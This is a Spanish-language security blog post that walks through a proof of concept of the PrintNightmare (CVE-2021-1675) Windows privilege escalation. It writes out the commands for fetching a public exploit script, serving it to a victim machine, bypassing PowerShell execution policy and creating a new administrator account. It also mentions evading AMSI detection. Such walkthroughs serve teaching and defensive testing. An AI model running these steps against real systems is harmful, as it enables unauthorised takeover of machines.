CARGANDO

Escribe para buscar

PoC Printnightmare. Escalada de privilegios

Poc Printnightmare. Escalada de privilegios

Disclamer: Todas las pruebas, ejemplos, códigos y/o explicaciones que aquí se exponen tienen un ámbito didáctico. Se rechaza cualquier actividad ilícita generada por lo expuesto en este escrito.

En anteriores entradas hablábamos de la vulnerabilidad en el servicio de Windows “Print Spooler”, denominada Printnightmare. En este post traemos una prueba de concepto sobre esta vulnerabilidad que ha día de hoy puede estar activa.

Para la PoC de Printnightmare se utilizará una máquina víctima Windows 10 21H2 (19044.2130). El objetivo será realizar una escalada de privilegios a admin en un entorno de postexplotación. Es decir, partimos que tenemos acceso a la máquina con un usuario estandar.

Entorno y vulnerabilidad

Como se comentaba, partimos que tenemos acceso al sistema con una cuenta estándar. Esto lo vemos en las siguientes imágenes donde el usuario pertenece al nivel de integridad medio y no está dentro del grupo de administradores.

El objetivo principal será elevar los privilegios a SYSTEM. Sin entrar mucho en detalles técnicos, esto se conseguirá mediante la inclusión de una DLL maliciosa como controlador de impresora. Normalmente, esta acción no podría realizarse mediante un usuario estándar, pero un fallo de la programación del protocolo MS-RPRN, permite la instalación de controladores a usuarios fuera de grupos de Administradores u Operadores de Impresión.

Prueba de concepto

Existen varias formas de realizar la explotación de Printnightmare. En este caso se explora la vía de Powershell basada en el CVE-2021-1675.

Para su ejecución necesitaremos, en primer lugar, descargar en la máquina atacante los archivos necesarios:

# git clone https://github.com/calebstewart/CVE-2021-1675.git

Una vez descargados los archivos necesarios, montamos un sencillo servidor web y descargamos los archivos en la máquina víctima.

# cd CVE-2021-1675

# python3 -m http.server 80

PS > wget http://192.168.200.203/CVE-2021-1675.ps1 -O \Users\Public\CVE-2021- 1675.ps1

PS > cd C:\Users\Public

En este punto, desde la máquina Windows, tenemos que establecer en “bypass” la política de ejecución de código. Seguidamente, importamos el módulo descargado:

> powershell -ExecutionPolicy bypass

PS > Import-Module .\CVE-2021-1675.ps1

Aquí se pueden encontrar varios problemas con la protección AMSI del equipo Windows, ya que detecta que el código es malicioso. Por ello, tenemos que realizar un paso intermedio saltando la protección AMSI.

Existen varias técnicas para hacer saltar la protección, en este punto se utilizará un bypass mediante Reflection que, previamente, ha sido “troceado” en varias partes y ejecutado por separado para que no lo detectara como malicioso.

Una vez hecho esto, se procede a ejecutar nuevamente el módulo de Printnighmare, donde, si todo ha ido bien, lo hará sin problemas 🙂

Ahora, se llama al módulo importado. Su ejecución creará un nuevo usuario dentro de la máquina con privilegios de SYSTEM aprovechando la vulnerabilidad Printnighmare.

PS > Invoke-Nightmare -NewUser “SysBeards” -NewPassword “Temporal2023!” -DriverName “PrivilegeElevation”

Si se realiza ahora una consulta sobre el grupo Administradores, se observa que tenemos el usuario recién creado!

Conclusiones

Como se ha visto, esta vulnerabilidad puede ser ejecutada en un sistema relativamente reciente, y puede suponer una manera de escalar privilegios a SYSTEM. En anteriores entradas veíamos como protegernos de forma activa.

Una vez que se ha ejecutado la escalada de privilegios, implementar mecanismos de persistencia resulta trivial, por lo que es importante protegerse previamente.

Comentadnos sin miedo que os parece esta escala de privilegios 🙂

Ah, hola 👋
Un placer conocerte.

Veo que te gusta la tecnología, ¿quieres que te mandemos una newsletter semanal?.

Acepto la política de privacidad *

¡No enviamos spam!. yo también lo odio a muerte!.

Tags:

Deja un Comentario

Your email address will not be published. Required fields are marked *